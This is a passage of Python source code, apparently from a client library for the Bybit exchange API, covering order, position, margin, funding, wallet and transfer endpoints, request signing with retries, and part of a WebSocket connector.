see https://bybit-exchange.github.io/docs/inverse/#t-placecond. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-placecond. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/stop-order/create' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/stop-order/create' else: suffix = '/v2/private/stop-order/create' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def place_conditional_order_bulk(self, orders: list, max_in_parallel=10): """ Places multiple conditional orders in bulk using multithreading. For more information on place_active_order, see https://bybit-exchange.github.io/docs/inverse/#t-placecond. :param orders: A list of orders and their parameters. :param max_in_parallel: The number of requests to be sent in parallel. Note that you are limited to 50 requests per second. :returns: Future request result dictionaries as a list. """ with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.place_conditional_order, **order ) for order in orders ] executor.shutdown() return [execution.result() for execution in executions] def get_conditional_order(self, **kwargs): """ Gets a conditional order. For more information, see https://bybit-exchange.github.io/docs/inverse/#t-getcond. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-getcond. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/stop-order/list' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/stop-order/list' else: suffix = '/v2/private/stop-order/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def cancel_conditional_order(self, **kwargs): """ Cancels a conditional order. For more information, see https://bybit-exchange.github.io/docs/inverse/#t-cancelcond. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-cancelcond. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/stop-order/cancel' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/stop-order/cancel' else: suffix = '/v2/private/stop-order/cancel' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def cancel_conditional_order_bulk(self, orders: list, max_in_parallel=10): """ Cancels multiple conditional orders in bulk using multithreading. For more information on cancel_active_order, see https://bybit-exchange.github.io/docs/inverse/#t-cancelcond. :param list orders: A list of orders and their parameters. :param max_in_parallel: The number of requests to be sent in parallel. Note that you are limited to 50 requests per second. :returns: Future request result dictionaries as a list. """ with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.cancel_conditional_order, **order ) for order in orders ] executor.shutdown() return [execution.result() for execution in executions] def cancel_all_conditional_orders(self, **kwargs): """ Cancel all conditional orders that are unfilled or partially filled. Fully filled orders cannot be cancelled. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-cancelallcond. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/stop-order/cancel-all' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/stop-order/cancelAll' else: suffix = '/v2/private/stop-order/cancelAll' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def replace_conditional_order(self, **kwargs): """ Replace conditional order can modify/amend your conditional orders. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-replacecond. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/stop-order/replace' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/stop-order/replace' else: suffix = '/v2/private/stop-order/replace' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def replace_conditional_order_bulk(self, orders: list, max_in_parallel=10): """ Replaces multiple conditional orders in bulk using multithreading. For more information on replace_active_order, see https://bybit-exchange.github.io/docs/inverse/#t-replacecond. :param list orders: A list of orders and their parameters. :param max_in_parallel: The number of requests to be sent in parallel. Note that you are limited to 50 requests per second. :returns: Future request result dictionaries as a list. """ with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.replace_conditional_order, **order ) for order in orders ] executor.shutdown() return [execution.result() for execution in executions] def query_conditional_order(self, **kwargs): """ Query real-time conditional order information. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-querycond. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/stop-order/search' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/stop-order' else: suffix = '/v2/private/stop-order' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def my_position(self, endpoint="", **kwargs): """ Get my position list. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-myposition. :param endpoint: The endpoint path, such as "/v2/private/position/list". This allows the user to bypass the "symbol" arg, and instead specify the desired market contract type (inverse perp, linear perp, etc) and receive multiple symbols in the response. :returns: Request results as dictionary. """ if endpoint: suffix = endpoint else: if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/position/list' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/position/list' else: suffix = '/v2/private/position/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def set_auto_add_margin(self, **kwargs): """ For linear markets only. Set auto add margin, or Auto-Margin Replenishment. :param kwargs: See https://bybit-exchange.github.io/docs/linear/#t-setautoaddmargin. :returns: Request results as dictionary. """ return self._submit_request( method='POST', path=self.endpoint + '/private/linear/position/set-auto-add-margin', query=kwargs, auth=True ) def set_leverage(self, **kwargs): """ Change user leverage. If you want to switch between cross margin and isolated margin, please see cross_isolated_margin_switch. :param kwargs: See https://bybit-exchange.github.io/docs/linear/#t-setleverage. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/position/set-leverage' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/position/leverage/save' else: suffix = '/v2/private/position/leverage/save' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def cross_isolated_margin_switch(self, **kwargs): """ Switch Cross/Isolated; must be leverage value when switching from Cross to Isolated. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-marginswitch. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/position/switch-isolated' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/position/switch-isolated' else: suffix = '/v2/private/position/switch-isolated' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def position_mode_switch(self, **kwargs): """ If you are in One-Way Mode, you can only open one position on Buy or Sell side; If you are in Hedge Mode, you can open both Buy and Sell side positions simultaneously. :param kwargs: See https://bybit-exchange.github.io/docs/inverse_futures/#t-switchpositionmode. :returns: Request results as dictionary. """ if kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/position/switch-mode' else: suffix = '/v2/private/position/switch-mode' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def full_partial_position_tp_sl_switch(self, **kwargs): """ Switch mode between Full or Partial :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-switchmode. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/tpsl/switch-mode' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/tpsl/switch-mode' else: suffix = '/v2/private/tpsl/switch-mode' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def change_margin(self, **kwargs): """ Update margin. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-changemargin. :returns: Request results as dictionary. """ if kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/position/change-position-margin' else: suffix = '/v2/private/position/change-position-margin' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def set_trading_stop(self, **kwargs): """ Set take profit, stop loss, and trailing stop for your open position. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-tradingstop. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/position/trading-stop' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/position/trading-stop' else: suffix = '/v2/private/position/trading-stop' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def add_reduce_margin(self, **kwargs): """ For linear markets only. Add margin. :param kwargs: See https://bybit-exchange.github.io/docs/linear/#t-addmargin. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/private/linear/position/add-margin', query=kwargs, auth=True ) def user_leverage(self, **kwargs): """ ABANDONED! Please use my_position instead. Fetches user leverage by fetching user position. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-getleverage. :returns: Request results as dictionary. """ self.logger.warning('This endpoint is deprecated and will be removed. Use my_position()') return self._submit_request( method='GET', path=self.endpoint + '/v2/private/position/list', query=kwargs, auth=True ) def change_user_leverage(self, **kwargs): """ Change user leverage. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-changeleverage. :returns: Request results as dictionary. """ self.logger.warning('This endpoint is deprecated and will be removed. Use set_leverage()') return self._submit_request( method='POST', path=self.endpoint + '/user/leverage/save', query=kwargs, auth=True ) def user_trade_records(self, **kwargs): """ Get user's trading records. The results are ordered in ascending order (the first item is the oldest). :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-usertraderecords. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/myTrades' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/trade/execution/list' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/execution/list' else: suffix = '/v2/private/execution/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def closed_profit_and_loss(self, **kwargs): """ Get user's closed profit and loss records. The results are ordered in descending order (the first item is the latest). :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-closedprofitandloss. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/trade/closed-pnl/list' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/trade/closed-pnl/list' else: suffix = '/v2/private/trade/closed-pnl/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def get_risk_limit(self, endpoint="", **kwargs): """ Get risk limit. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-getrisklimit. :param endpoint: The endpoint path, such as "/v2/public/risk-limit/list". This allows the user to bypass the "symbol" arg, and instead specify the desired market contract type (inverse perp, linear perp, etc) and receive multiple symbols in the response. :returns: Request results as dictionary. """ if kwargs.get('is_linear') in (False, True): self.logger.warning("The is_linear argument is obsolete.") if endpoint: suffix = endpoint else: if kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/risk-limit' else: suffix = '/v2/public/risk-limit/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def set_risk_limit(self, **kwargs): """ Set risk limit. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-setrisklimit. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/position/set-risk' else: suffix = '/v2/private/position/risk-limit' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def get_the_last_funding_rate(self, **kwargs): """ The funding rate is generated every 8 hours at 00:00 UTC, 08:00 UTC and 16:00 UTC. For example, if a request is sent at 12:00 UTC, the funding rate generated earlier that day at 08:00 UTC will be sent. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-fundingrate. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/funding/prev-funding-rate' else: suffix = '/v2/public/funding/prev-funding-rate' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def my_last_funding_fee(self, **kwargs): """ Funding settlement occurs every 8 hours at 00:00 UTC, 08:00 UTC and 16:00 UTC. The current interval's fund fee settlement is based on the previous interval's fund rate. For example, at 16:00, the settlement is based on the fund rate generated at 8:00. The fund rate generated at 16:00 will be used at 0:00 the next day. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-mylastfundingfee. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/funding/prev-funding' else: suffix = '/v2/private/funding/prev-funding' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def predicted_funding_rate(self, **kwargs): """ Get predicted funding rate and my funding fee. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-predictedfunding. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/funding/predicted-funding' else: suffix = '/v2/private/funding/predicted-funding' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def api_key_info(self): """ Get user's API key info. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/private/account/api-key', auth=True ) def lcp_info(self, **kwargs): """ Get user's LCP (data refreshes once an hour). Only supports inverse perpetual at present. See https://bybit-exchange.github.io/docs/inverse/#t-liquidity to learn more. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-lcp. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/private/account/lcp', query=kwargs, auth=True ) def get_wallet_balance(self, **kwargs): """ Get wallet balance info. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-balance. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/account' else: suffix = '/v2/private/wallet/balance' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def wallet_fund_records(self, **kwargs): """ Get wallet fund records. This endpoint also shows exchanges from the Asset Exchange, where the types for the exchange are ExchangeOrderWithdraw and ExchangeOrderDeposit. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-walletrecords. :returns: Request results as dictionary. """ # Replace query param 'from_id' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_id' in kwargs: kwargs['from'] = kwargs.pop('from_id') return self._submit_request( method='GET', path=self.endpoint + '/v2/private/wallet/fund/records', query=kwargs, auth=True ) def withdraw_records(self, **kwargs): """ Get withdrawal records. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-withdrawrecords. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/private/wallet/withdraw/list', query=kwargs, auth=True ) def asset_exchange_records(self, **kwargs): """ Get asset exchange records. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-assetexchangerecords. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/private/exchange-order/list', query=kwargs, auth=True ) def server_time(self, **kwargs): """ Get Bybit server time. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/time' else: suffix = '/v2/public/time' return self._submit_request( method='GET', path=self.endpoint + suffix ) def announcement(self): """ Get Bybit OpenAPI announcements in the last 30 days by reverse order. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/public/announcement' ) ''' Additional Methods These methods use two or more requests to perform a specific function and are exclusive to pybit. ''' def close_position(self, symbol): """ Closes your open position. Makes two requests (position, order). Parameters ------------------------ symbol : str Required parameter. The symbol of the market as a string, e.g. 'BTCUSD'. """ # First we fetch the user's position. try: r = self.my_position(symbol=symbol)['result'] # If there is no returned position, we want to handle that. except KeyError: return self.logger.error('No position detected.') # Next we generate a list of market orders orders = [ { 'symbol': symbol, 'order_type': 'Market', 'side': 'Buy' if p['side'] == 'Sell' else 'Sell', 'qty': p['size'], 'time_in_force': 'ImmediateOrCancel', 'reduce_only': True, 'close_on_trigger': True } for p in (r if isinstance(r, list) else [r]) if p['size'] > 0 ] if len(orders) == 0: return self.logger.error('No position detected.') # Submit a market order against each open position for the same qty. return self.place_active_order_bulk(orders) ''' Below are methods under https://bybit-exchange.github.io/docs/account_asset ''' def create_internal_transfer(self, **kwargs): """ Create internal transfer. :param kwargs: See https://bybit-exchange.github.io/docs/account_asset/#t-createinternaltransfer. :returns: Request results as dictionary. """ suffix="/asset/v1/private/transfer" if self._verify_string(kwargs,'amount'): return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) else: self.logger.error('amount must be in string format') def create_subaccount_transfer(self, **kwargs): """ Create internal transfer. :param kwargs: See https://bybit-exchange.github.io/docs/account_asset/#t-createsubaccounttransfer. :returns: Request results as dictionary. """ suffix="/asset/v1/private/sub-member/transfer" if self._verify_string(kwargs, 'amount'): return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) else: self.logger.error('amount must be in string format') def query_transfer_list(self, **kwargs): """ Create internal transfer. :param kwargs: See https://bybit-exchange.github.io/docs/account_asset/#t-querytransferlist. :returns: Request results as dictionary. """ suffix="/asset/v1/private/transfer/list" return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def query_subaccount_list(self): """ Create internal transfer. :param kwargs: See https://bybit-exchange.github.io/docs/account_asset/#t-querysubaccountlist. :returns: Request results as dictionary. """ suffix="/asset/v1/private/sub-member/member-ids" return self._submit_request( method='GET', path=self.endpoint + suffix, query={}, auth=True ) def query_subaccount_transfer_list(self,**kwargs): """ Create internal transfer. :param kwargs: See https://bybit-exchange.github.io/docs/account_asset/#t-querysubaccounttransferlist. :returns: Request results as dictionary. """ suffix="/asset/v1/private/sub-member/transfer/list" return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) ''' Internal methods; signature and request submission. For more information about the request signature, see https://bybit-exchange.github.io/docs/inverse/#t-authentication. ''' def _auth(self, method, params, recv_window): """ Generates authentication signature per Bybit API specifications. Notes ------------------- Since the POST method requires a JSONified dict, we need to ensure the signature uses lowercase booleans instead of Python's capitalized booleans. This is done in the bug fix below. """ api_key = self.api_key api_secret = self.api_secret if api_key is None or api_secret is None: raise PermissionError('Authenticated endpoints require keys.') # Append required parameters. params['api_key'] = api_key params['recv_window'] = recv_window params['timestamp'] = int(time.time() * 10 ** 3) # Sort dictionary alphabetically to create querystring. _val = '&'.join( [str(k) + '=' + str(v) for k, v in sorted(params.items()) if (k != 'sign') and (v is not None)] ) # Bug fix. Replaces all capitalized booleans with lowercase. if method == 'POST': _val = _val.replace('True', 'true').replace('False', 'false') # Return signature. return str(hmac.new( bytes(api_secret, 'utf-8'), bytes(_val, 'utf-8'), digestmod='sha256' ).hexdigest()) def _verify_string(self,params,key): if key in params: if not isinstance(params[key], str): return False else: return True return True def _submit_request(self, method=None, path=None, query=None, auth=False): """ Submits the request to the API. Notes ------------------- We use the params argument for the GET method, and data argument for the POST method. Dicts passed to the data argument must be JSONified prior to submitting request. """ if query is None: query = {} # Remove internal spot arg query.pop('spot', '') # Store original recv_window. recv_window = self.recv_window # Bug fix: change floating whole numbers to integers to prevent # auth signature errors. if query is not None: for i in query.keys(): if isinstance(query[i], float) and query[i] == int(query[i]): query[i] = int(query[i]) # Send request and return headers with body. Retry if failed. retries_attempted = self.max_retries req_params = None while True: retries_attempted -= 1 if retries_attempted < 0: raise FailedRequestError( request=f'{method} {path}: {req_params}', message='Bad Request. Retries exceeded maximum.', status_code=400, time=dt.utcnow().strftime("%H:%M:%S") ) retries_remaining = f'{retries_attempted} retries remain.' # Authenticate if we are using a private endpoint. if auth: # Prepare signature. signature = self._auth( method=method, params=query, recv_window=recv_window, ) # Sort the dictionary alphabetically. query = dict(sorted(query.items(), key=lambda x: x)) # Append the signature to the dictionary. query['sign'] = signature # Define parameters and log the request. if query is not None: req_params = {k: v for k, v in query.items() if v is not None} else: req_params = {} # Log the request. if self.log_requests: self.logger.debug(f'Request -> {method} {path}: {req_params}') # Prepare request; use 'params' for GET and 'data' for POST. if method == 'GET': headers = { 'Content-Type': 'application/x-www-form-urlencoded' } r = self.client.prepare_request( requests.Request(method, path, params=req_params, headers=headers) ) else: if 'spot' in path: full_param_str = '&'.join( [str(k) + '=' + str(v) for k, v in sorted(query.items()) if v is not None] ) headers = { 'Content-Type': 'application/x-www-form-urlencoded' } r = self.client.prepare_request( requests.Request(method, path + f"?{full_param_str}", headers=headers) ) else: r = self.client.prepare_request( requests.Request(method, path, data=json.dumps(req_params)) ) # Attempt the request. try: s = self.client.send(r, timeout=self.timeout) # If requests fires an error, retry. except ( requests.exceptions.ReadTimeout, requests.exceptions.SSLError, requests.exceptions.ConnectionError ) as e: if self.force_retry: self.logger.error(f'{e}. {retries_remaining}') time.sleep(self.retry_delay) continue else: raise e # Convert response to dictionary, or raise if requests error. try: s_json = s.json() # If we have trouble converting, handle the error and retry. except JSONDecodeError as e: if self.force_retry: self.logger.error(f'{e}. {retries_remaining}') time.sleep(self.retry_delay) continue else: raise FailedRequestError( request=f'{method} {path}: {req_params}', message='Conflict. Could not decode JSON.', status_code=409, time=dt.utcnow().strftime("%H:%M:%S") ) # If Bybit returns an error, raise. if s_json['ret_code']: # Generate error message. error_msg = ( f'{s_json["ret_msg"]} (ErrCode: {s_json["ret_code"]})' ) # Set default retry delay. err_delay = self.retry_delay # Retry non-fatal whitelisted error requests. if s_json['ret_code'] in self.retry_codes: # 10002, recv_window error; add 2.5 seconds and retry. if s_json['ret_code'] == 10002: error_msg += '. Added 2.5 seconds to recv_window' recv_window += 2500 # 10006, ratelimit error; wait until rate_limit_reset_ms # and retry. elif s_json['ret_code'] == 10006: self.logger.error( f'{error_msg}. Ratelimited on current request. ' f'Sleeping, then trying again. Request: {path}' ) # Calculate how long we need to wait. limit_reset = s_json['rate_limit_reset_ms'] / 1000 reset_str = time.strftime( '%X', time.localtime(limit_reset) ) err_delay = int(limit_reset) - int(time.time()) error_msg = ( f'Ratelimit will reset at {reset_str}. ' f'Sleeping for {err_delay} seconds' ) # Log the error. self.logger.error(f'{error_msg}. {retries_remaining}') time.sleep(err_delay) continue elif s_json['ret_code'] in self.ignore_codes: pass else: raise InvalidRequestError( request=f'{method} {path}: {req_params}', message=s_json["ret_msg"], status_code=s_json["ret_code"], time=dt.utcnow().strftime("%H:%M:%S") ) else: return s_json class WebSocket: """ Connector for Bybit's WebSocket API. """ def __init__(self, endpoint, api_key=None, api_secret=None, subscriptions=None, logging_level=logging.INFO, max_data_length=200, ping_interval=30, ping_timeout=10, restart_on_error=True, purge_on_fetch=True, trim_data=True): """ Initializes the websocket session. :param endpoint: Required parameter. The endpoint of the remote websocket. :param api_key: Your API key. Required for authenticated endpoints. Defaults to None. :param api_secret: Your API secret key. Required for authenticated endpoints. Defaults to None. :param subscriptions: A list of desired topics to subscribe to. See API documentation for more information. Defaults to an empty list, which will raise an error. :param logging_level: The logging level of the built-in logger. Defaults to logging.INFO. Options are CRITICAL (50), ERROR (40), WARNING (30), INFO (20), DEBUG (10), or NOTSET (0). :param max_data_length: The maximum number of rows for the stored dataset. A smaller number will prevent performance or memory issues. :param ping_interval: The number of seconds between each automated ping. :param ping_timeout: The number of seconds to wait for 'pong' before an Exception is raised. :param restart_on_error: Whether or not the connection should restart on error. :param purge_on_fetch: Whether or not stored data should be purged each fetch. For example, if the user subscribes to the 'trade' topic, and fetches, should the data show all trade history up to the maximum length or only get the data since the last fetch? :param trim_data: Decide whether the returning data should be trimmed to only provide the data value. :returns: WebSocket session. """ self.spot = True if "spot" in endpoint else False self.spot_unauth = True if [True for v in ['v1', 'v2'] if v in endpoint] else False self.spot_auth = True if "spot" in endpoint and not \ self.spot_unauth else False if not self.spot_auth: if not subscriptions: raise Exception('Subscription list cannot be empty!') if not self.spot: # Require symbol on 'trade' topic. if 'trade' in subscriptions: raise Exception('\'trade\' requires a ticker, e.g. ' '\'trade.BTCUSD\'.') # Require currency on 'insurance' topic. if 'insurance' in subscriptions: raise Exception('\'insurance\' requires a currency, e.g. ' '\'insurance.BTC\'.') # Require timeframe and ticker on 'klineV2' topic. if 'klineV2' in subscriptions: raise Exception('\'klineV2\' requires a timeframe and ticker, e.g.' ' \'klineV2.5.BTCUSD\'.') # Check if subscriptions are in the correct format if self.spot and not self.spot_auth: for subscription in subscriptions.copy(): if isinstance(subscription, str): try: subscriptions.pop(subscriptions.index(subscription)) subscriptions.append(json.loads(subscription)) except JSONDecodeError: raise Exception('Spot subscriptions should be dicts, ' 'or strings that are valid JSONs.') elif not self.spot: for subscription in subscriptions: if not isinstance(subscription, str): raise Exception('Futures subscriptions should be strings.') for subscription in subscriptions: if ('v2' in endpoint and 'symbol' in subscription) or \ ('v1' in endpoint and 'symbol' in subscription['params']): raise Exception('Cannot subscribe to v1 topics with v2 ' 'endpoint, or vice versa.') # set websocket name for logging purposes self.wsName = 'Authenticated' if api_key else 'Non-Authenticated' # Setup logger. self.logger = logging.getLogger(__name__) if len(logging.root.handlers) == 0: # no handler on root logger set -> we add handler just for this logger to not mess with custom logic from outside handler = logging.StreamHandler() handler.setFormatter(logging.Formatter(fmt='%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S' ) ) handler.setLevel(logging_level) self.logger.addHandler(handler) self.logger.debug(f'Initializing {self.wsName} WebSocket.') # Ensure authentication for private topics. if not self.spot and any(i in subscriptions for i in [ 'position', 'execution', 'order', 'stop_order', 'wallet' ]) and api_key is None: raise PermissionError('You must be authorized to use ' 'private topics!') # Set endpoint. self.endpoint = endpoint # Set API keys. self.api_key = api_key self.api_secret = api_secret # Set topic subscriptions for WebSocket. self.subscriptions = subscriptions # Checking if using auth spot connection. if '/spot/ws' in self.endpoint: self.subscriptions = ['outboundAccountInfo', 'executionReport', 'ticketInfo'] self.max_length = max_data_length # Set ping settings. self.ping_interval = ping_interval self.ping_timeout = ping_timeout # Other optional data handling settings. self.handle_error = restart_on_error self.purge = purge_on_fetch self.trim = trim_data # Set initial state, initialize dictionary and connect. self._reset() self._connect(self.endpoint) def fetch(self, topic): """ Fetches data from the subscribed topic. :param topic: Required parameter. The subscribed topic to poll. :returns: Filtered data as dict. """ if self.spot and self.spot_unauth: topic = self.conform_topic(topic) # If the topic given isn't in the initial subscribed list. if topic not in self.subscriptions: self.logger.error(f'You aren\'t subscribed to the {topic} topic.') return # Pop all trade or execution data on each poll. # don't pop order or stop_order data as we will lose valuable state if any(i in topic for i in ['trade', 'execution']) \ and not topic.startswith('orderBook') and \ "executionReport" not in topic: data = self.data[topic].copy() if self.purge: self.data[topic] = [] return data else: try: return self.data[topic] except KeyError: return [] def ping(self): """ Pings the remote server to test the connection. The status of the connection can be monitored using ws.ping(). """ self.ws.send(json.dumps({'op': 'ping'})) def exit(self): """ Closes the websocket connection. """ self.ws.close() while self.ws.sock: continue self.exited = True def _auth(self): """ Authorize websocket connection. """ # Generate expires. expires = int((time.time() + 1) * 1000) # Generate signature. _val = f'GET/realtime{expires}' signature = str(hmac.new( bytes(self.api_secret, 'utf-8'), bytes(_val, 'utf-8'), digestmod='sha256' ).hexdigest()) # Authenticate with API. self.ws.send( json.dumps({ 'op': 'auth', 'args': [self.api_key, expires, signature] }) ) def _connect(self, url): """ Open websocket in a thread. """ self.ws = websocket.WebSocketApp( url=url, on_message=lambda ws, msg: self._on_message(msg), on_close=self._on_close(), on_open=self._on_open(), on_error=lambda ws, err: self._on_error(err) ) # Setup the thread running WebSocketApp. self.wst = threading.Thread(target=lambda: self.ws.run_forever( ping_interval=self.ping_interval, ping_timeout=self.ping_timeout )) # Configure as daemon; start. self.wst.daemon = True self.wst.start() # Attempt to connect for X seconds. retries = 10 while retries > 0 and (not self.ws.sock or not self.ws.sock.connected): retries -= 1 time.sleep(1) # If connection was not successful, raise error. if retries <= 0: self.exit() raise websocket.WebSocketTimeoutException('Connection failed.') # If given an api_key, authenticate. if self.api_key and self.api_secret and not self.spot_unauth: self._auth() # Check if subscriptions is a list. if isinstance(self.subscriptions, (str, dict)): self.subscriptions = [self.subscriptions] # Subscribe to the requested topics. if not self.spot_auth and self.spot_unauth: for subscription in self.subscriptions: if not subscription.get('event'): subscription['event'] = 'sub' if not subscription.get('params'): subscription['params'] = {} if 'v2' in self.endpoint: raise Exception('v2 spot websocket topics require the ' '"symbol" key within "params"') if not subscription.get('binary') or \ subscription['params'].get('binary'): subscription['params']['binary'] = False self.ws.send(json.dumps(subscription)) elif not self.spot: self.ws.send( json.dumps({ 'op': 'subscribe', 'args': self.subscriptions }) ) # Initialize the topics. if not self.spot_auth and self.spot: # Strip the subscription dict for subscription in self.subscriptions: index = self.subscriptions.index(subscription) subscription = subscription if isinstance(subscription, dict) \ else json.loads(subscription) subscription.pop('event') subscription['params']['binary'] = str(subscription['params'][ 'binary']).lower() if subscription['params'].get('dumpScale'): subscription['params']['dumpScale'] = str(subscription[ 'params']['dumpScale']) self.subscriptions[index] = \ self.conform_topic(subscription) topics = self.subscriptions for topic in topics: if topic not in self.data: self.data[topic] = {} @staticmethod def _find_index(source, target, key): """ Find the index in source list of the targeted ID. """ return next(i for i, j in enumerate(source) if j[key] == target[key]) def _on_message(self, message): """ Parse incoming messages. Similar structure to the official WS connector. """ # Load dict of message. msg_json = json.loads(message) # Did we receive a message regarding auth or subscription? auth_message = True if isinstance(msg_json, dict) and \ (msg_json.get('auth') or msg_json.get('request', {}).get('op') == 'auth') else False subscription_message = True if isinstance(msg_json, dict) and \ ((msg_json.get('event') == 'sub' or msg_json.get('code')) or msg_json.get('request', {}).get('op') == 'subscribe') else False # Check auth if auth_message: # If we get successful futures/spot auth, notify user. if msg_json.get('success') is True or \ msg_json.get('auth') == 'success': self.logger.debug('Authorization successful.') self.auth = True # If we get unsuccessful auth, notify user. elif msg_json.get('auth') == 'fail' or \ msg_json.get('success') is False: self.logger.debug('Authorization failed. Please check your ' 'API keys and restart.') # Check subscription if subscription_message: # If we get successful futures/spot subscription, notify user. if msg_json.get('success') is True or \ 